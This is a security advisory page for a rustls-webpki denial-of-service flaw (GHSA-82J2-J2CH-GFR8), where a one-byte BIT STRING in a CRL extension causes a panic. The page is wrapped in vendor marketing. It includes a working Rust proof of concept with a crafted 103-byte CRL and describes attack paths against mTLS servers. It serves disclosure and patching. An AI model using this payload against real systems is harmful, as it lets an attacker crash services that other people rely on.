Summary
bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.
Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.
AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.
Details
bit_string_flags() in src/der.rs reads the content of named-bit BIT
STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:
if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash
misses the case padding_bits == 0 && raw_bits.is_empty().
When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes):
- padding_bits = 0x00, passes the > 7 check ✓
- raw_bits = [], passes is_empty() && != 0 check ✓ (because 0 != 0 is false)
- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX
- raw_bits[usize::MAX] → panic
Debug: thread 'main' panicked: attempt to subtract with overflow
Release: thread 'main' panicked: index out of bounds: the len is 0
but the index is 18446744073709551615
PoC
Cargo.toml:
[dependencies]
rustls-webpki = "0.102.8" # also reproduces on 0.103.12
src/main.rs:
fn main() {
let crl: &[u8] = &[
0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x03, 0x02, 0x00, 0x00,
];
// Panics, never returns
let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}
output:
thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is 18446744073709551615
Trigger
a0 10 -- cRLExtensions [0] EXPLICIT
30 0e -- SEQUENCE OF Extension
30 0c -- Extension SEQUENCE
06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)
04 05 -- OCTET STRING (extnValue)
30 03 -- IssuingDistributionPoint SEQUENCE
83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00
-- padding_bits=0, data=[] ← TRIGGER
Impact
- Who is affected:
Applications that (1) use rustls-webpki with CRL
revocation checking explicitly enabled via RevocationOptions, and (2)
load CRL bytes from a source an attacker can influence. - Attack paths:
- mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs, common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
- TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.
A read operation accesses a memory location beyond the intended buffer boundary. Typical impact: sensitive data disclosure or crash.
GHSA-82J2-J2CH-GFR8 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.103.13, 0.104.0-alpha.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
rustls-webpki to 0.103.13 or later; rustls-webpki to 0.104.0-alpha.7 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-82J2-J2CH-GFR8? GHSA-82J2-J2CH-GFR8 is a high-severity out-of-bounds read vulnerability in rustls-webpki (rust), affecting versions < 0.103.13. It is fixed in 0.103.13, 0.104.0-alpha.7. A read operation accesses a memory location beyond the intended buffer boundary.
- How severe is GHSA-82J2-J2CH-GFR8? GHSA-82J2-J2CH-GFR8 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of rustls-webpki are affected by GHSA-82J2-J2CH-GFR8? rustls-webpki (rust) versions < 0.103.13 is affected.
- Is there a fix for GHSA-82J2-J2CH-GFR8? Yes. GHSA-82J2-J2CH-GFR8 is fixed in 0.103.13, 0.104.0-alpha.7. Upgrade to this version or later.
- Is GHSA-82J2-J2CH-GFR8 exploitable, and should I be worried? Whether GHSA-82J2-J2CH-GFR8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-82J2-J2CH-GFR8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-82J2-J2CH-GFR8?
- Upgrade
rustls-webpkito 0.103.13 or later - Upgrade
rustls-webpkito 0.104.0-alpha.7 or later
- Upgrade